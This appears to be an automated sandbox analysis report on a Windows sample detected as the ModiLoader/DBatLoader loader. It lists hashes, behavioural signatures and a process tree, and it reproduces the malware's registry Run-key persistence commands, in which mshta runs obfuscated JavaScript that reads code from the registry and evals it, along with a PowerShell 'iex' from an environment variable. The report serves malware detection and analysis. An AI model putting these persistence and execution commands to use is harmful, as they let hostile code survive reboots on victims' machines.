Analysis
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max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
07/11/2022, 13:07
Static task
static1
Behavioral task
behavioral1
Sample
50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe
Resource
win7-20220812-en
windows7-x64
21 signatures
150 seconds
Behavioral task
behavioral2
Sample
50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe
Resource
win10v2004-20220901-en
windows10-2004-x64
10 signatures
150 seconds
General
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Target
50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe
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Size
268KB
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MD5
081fcbf7d29549a5b6d3326de51c91d0
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SHA1
2b3a8fbc643cfdc1ebb9a4f923eabb6cccda949a
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SHA256
50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3
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SHA512
2ded4979a8e956720e78b9d9daab1204f5129ff3e8344dd3934549f888ff5fd70153a81dba5b506df3cbdc15895516d2aa6962aec64082fc496770ecf82c3fcb
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SSDEEP
6144:zvQctIgBDrxn0TXxnPJa/dWzb8D4OgL0jTZ6HS9nSu4:x/F0TXxxaVWzb8DAL0J2S9SZ
Score
10/10
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 472 944 mshta.exe 29 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
description ioc Process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 17 IoCs
resource yara_rule behavioral1/memory/1880-60-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral1/memory/1880-61-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral1/memory/1880-63-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral1/memory/1880-65-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral1/memory/1880-66-0x0000000000402E54-mapping.dmp modiloader_stage2 behavioral1/memory/1880-68-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral1/memory/1880-70-0x0000000000400000-0x0000000000435000-memory.dmp modiloader_stage2 behavioral1/memory/1880-71-0x000000000ECF0000-0x000000000EDB0000-memory.dmp modiloader_stage2 behavioral1/memory/1880-75-0x000000000ECF0000-0x000000000EDB0000-memory.dmp modiloader_stage2 behavioral1/memory/1180-78-0x00000000024B0000-0x00000000030FA000-memory.dmp modiloader_stage2 behavioral1/memory/1180-79-0x0000000005D60000-0x0000000005E20000-memory.dmp modiloader_stage2 behavioral1/memory/1180-83-0x0000000005D60000-0x0000000005E20000-memory.dmp modiloader_stage2 behavioral1/memory/1972-85-0x0000000000120000-0x00000000001E0000-memory.dmp modiloader_stage2 behavioral1/memory/836-89-0x0000000000090000-0x0000000000150000-memory.dmp modiloader_stage2 behavioral1/memory/1880-90-0x000000000ECF0000-0x000000000EDB0000-memory.dmp modiloader_stage2 behavioral1/memory/1972-91-0x0000000000120000-0x00000000001E0000-memory.dmp modiloader_stage2 behavioral1/memory/836-92-0x0000000000090000-0x0000000000150000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:IimT2cf=\"U\";E11M=new%20ActiveXObject(\"WScript.Shell\");e4HJesrO=\"sgdH\";yd47Mr=E11M.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\a1242af588\\\\6e62a9ad\");uy9UOlro=\"G446JfXe\";eval(yd47Mr);CUNHgr68=\"oB\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 1972 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:uI3ayBK8=\"pttj\";Cp87=new%20ActiveXObject(\"WScript.Shell\");C3FJUvU=\"8uIbAS\";C64SIn=Cp87.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\a1242af588\\\\6e62a9ad\");fcGd3LhNe=\"JVarL42p\";eval(C64SIn);azg6aZ3yF=\"4\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:kHzn8g7I=\"OoAirs\";IF47=new%20ActiveXObject(\"WScript.Shell\");V8iQiir=\"WzT\";O9jQ2P=IF47.RegRead(\"HKCU\\\\software\\\\a1242af588\\\\6e62a9ad\");qKt9fkq=\"zf\";eval(O9jQ2P);FLxeDjpJ69=\"vV9\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1904 set thread context of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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description ioc Process Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 1180 powershell.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe 1972 regsvr32.exe 1972 regsvr32.exe 1972 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1180 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe -
Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 1904 wrote to memory of 1880 1904 50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe 28 PID 472 wrote to memory of 1180 472 mshta.exe 31 PID 472 wrote to memory of 1180 472 mshta.exe 31 PID 472 wrote to memory of 1180 472 mshta.exe 31 PID 472 wrote to memory of 1180 472 mshta.exe 31 PID 1180 wrote to memory of 1972 1180 powershell.exe 33 PID 1180 wrote to memory of 1972 1180 powershell.exe 33 PID 1180 wrote to memory of 1972 1180 powershell.exe 33 PID 1180 wrote to memory of 1972 1180 powershell.exe 33 PID 1180 wrote to memory of 1972 1180 powershell.exe 33 PID 1180 wrote to memory of 1972 1180 powershell.exe 33 PID 1180 wrote to memory of 1972 1180 powershell.exe 33 PID 1972 wrote to memory of 836 1972 regsvr32.exe 34 PID 1972 wrote to memory of 836 1972 regsvr32.exe 34 PID 1972 wrote to memory of 836 1972 regsvr32.exe 34 PID 1972 wrote to memory of 836 1972 regsvr32.exe 34 PID 1972 wrote to memory of 836 1972 regsvr32.exe 34 PID 1972 wrote to memory of 836 1972 regsvr32.exe 34 PID 1972 wrote to memory of 836 1972 regsvr32.exe 34
Processes
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C:\Users\Admin\AppData\Local\Temp\50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe"C:\Users\Admin\AppData\Local\Temp\50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Users\Admin\AppData\Local\Temp\50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe"C:\Users\Admin\AppData\Local\Temp\50aea7a8957e046f9939af578fe00f6821e55c7cc1f280bd715feec4717541e3.exe"2⤵PID:1880
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:sGpCm7K="aMa";dW75=new%20ActiveXObject("WScript.Shell");TxEeqh3="LZ2";la9ix0=dW75.RegRead("HKLM\\software\\Wow6432Node\\JIymecWsG5\\zAxCFDmGiF");J6kjJge="UeK";eval(la9ix0);nph3LQt4MF="lOoyDTa2";1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:472 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:djwhnog2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:836
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